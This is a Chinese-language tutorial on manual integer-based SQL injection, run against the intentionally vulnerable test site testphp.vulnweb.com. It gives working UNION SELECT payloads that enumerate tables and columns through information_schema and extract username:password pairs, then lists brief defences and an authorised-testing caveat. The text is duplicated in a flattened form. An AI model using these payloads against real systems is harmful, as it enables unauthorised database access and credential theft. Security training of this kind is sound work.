如何使用基于整数的手动SQL注入技术
字数 1220 2025-08-18 11:37:41

基于整数的手动SQL注入技术详解

一、SQL注入基础概念

SQL注入是一种通过在应用程序的输入字段中插入恶意SQL代码来攻击数据库的技术。基于整型的SQL注入特指针对使用整数参数的查询进行注入攻击。

二、环境准备

  1. 练习环境:使用提供的线上实验室(testphp.vulnweb.com)进行练习
  2. 目标URLtestphp.vulnweb.com/artists.php?artist=1

三、漏洞检测步骤

第一步:识别注入点

  1. 访问目标URL:testphp.vulnweb.com/artists.php?artist=1
  2. 在参数后添加单引号测试:artist=1'
    • 观察是否返回数据库错误信息
    • 如果没有明显错误,可能仍存在注入漏洞
  3. 移除单引号恢复原始查询

第二步:确定列数

使用ORDER BY子句确定表中的列数:

  1. 尝试ORDER BY 4artist=1 ORDER BY 4--
    • 如果返回错误,说明列数少于4
  2. 尝试ORDER BY 3artist=1 ORDER BY 3--
    • 如果没有错误,说明表有3列
    • 继续测试直到找到不报错的最大数字

四、信息收集技术

第三步:获取数据库信息

使用UNION SELECT语句获取数据库信息:

  1. 构造查询:artist=-1 UNION SELECT 1,database(),version()--
    • database()函数返回当前数据库名
    • version()函数返回数据库版本
  2. 示例结果:
    • 数据库名:acuart
    • 版本:5.1.73-0ubuntu0.10.04.1

第四步:枚举数据库表

使用information_schemaGROUP_CONCAT()枚举所有表:

  1. 构造查询:
    artist=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
    
  2. 示例结果:carts, categ, featured, guestbook, pictures, products, users

第五步:枚举表结构

获取特定表(如users)的列信息:

  1. 构造查询:
    artist=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'--
    
  2. 示例结果:uname, pass, cc, address, email, name, phone, cart

五、数据提取技术

第六步:提取敏感数据

从users表中提取用户名和密码:

  1. 构造查询:
    artist=-1 UNION SELECT 1,GROUP_CONCAT(uname,':',pass),3 FROM users--
    
  2. 示例结果:test:test

六、高级技巧

  1. 可以进一步提取其他列数据:
    • address, email, name, phone, cart等
  2. 使用CONCAT_WS格式化输出:
    artist=-1 UNION SELECT 1,CONCAT_WS(':',uname,pass,email),3 FROM users--
    

七、防御措施

虽然本文教授攻击技术,但开发者应了解如何防御:

  1. 使用参数化查询(预处理语句)
  2. 实施输入验证
  3. 最小权限原则
  4. 错误处理不暴露详细信息

八、注意事项

  1. 仅用于授权测试
  2. 实际环境中可能遇到WAF等防护措施
  3. 不同数据库语法可能有差异
  4. 练习时使用授权环境

通过以上步骤,可以系统地学习基于整型的手动SQL注入技术。建议在合法授权环境下多加练习,以深入理解其原理和防御方法。

基于整数的手动SQL注入技术详解 一、SQL注入基础概念 SQL注入是一种通过在应用程序的输入字段中插入恶意SQL代码来攻击数据库的技术。基于整型的SQL注入特指针对使用整数参数的查询进行注入攻击。 二、环境准备 练习环境 :使用提供的线上实验室(testphp.vulnweb.com)进行练习 目标URL : testphp.vulnweb.com/artists.php?artist=1 三、漏洞检测步骤 第一步:识别注入点 访问目标URL: testphp.vulnweb.com/artists.php?artist=1 在参数后添加单引号测试: artist=1' 观察是否返回数据库错误信息 如果没有明显错误,可能仍存在注入漏洞 移除单引号恢复原始查询 第二步:确定列数 使用 ORDER BY 子句确定表中的列数: 尝试 ORDER BY 4 : artist=1 ORDER BY 4-- 如果返回错误,说明列数少于4 尝试 ORDER BY 3 : artist=1 ORDER BY 3-- 如果没有错误,说明表有3列 继续测试直到找到不报错的最大数字 四、信息收集技术 第三步:获取数据库信息 使用 UNION SELECT 语句获取数据库信息: 构造查询: artist=-1 UNION SELECT 1,database(),version()-- database() 函数返回当前数据库名 version() 函数返回数据库版本 示例结果: 数据库名:acuart 版本:5.1.73-0ubuntu0.10.04.1 第四步:枚举数据库表 使用 information_schema 和 GROUP_CONCAT() 枚举所有表: 构造查询: 示例结果:carts, categ, featured, guestbook, pictures, products, users 第五步:枚举表结构 获取特定表(如users)的列信息: 构造查询: 示例结果:uname, pass, cc, address, email, name, phone, cart 五、数据提取技术 第六步:提取敏感数据 从users表中提取用户名和密码: 构造查询: 示例结果:test:test 六、高级技巧 可以进一步提取其他列数据: address, email, name, phone, cart等 使用 CONCAT_WS 格式化输出: 七、防御措施 虽然本文教授攻击技术,但开发者应了解如何防御: 使用参数化查询(预处理语句) 实施输入验证 最小权限原则 错误处理不暴露详细信息 八、注意事项 仅用于授权测试 实际环境中可能遇到WAF等防护措施 不同数据库语法可能有差异 练习时使用授权环境 通过以上步骤,可以系统地学习基于整型的手动SQL注入技术。建议在合法授权环境下多加练习,以深入理解其原理和防御方法。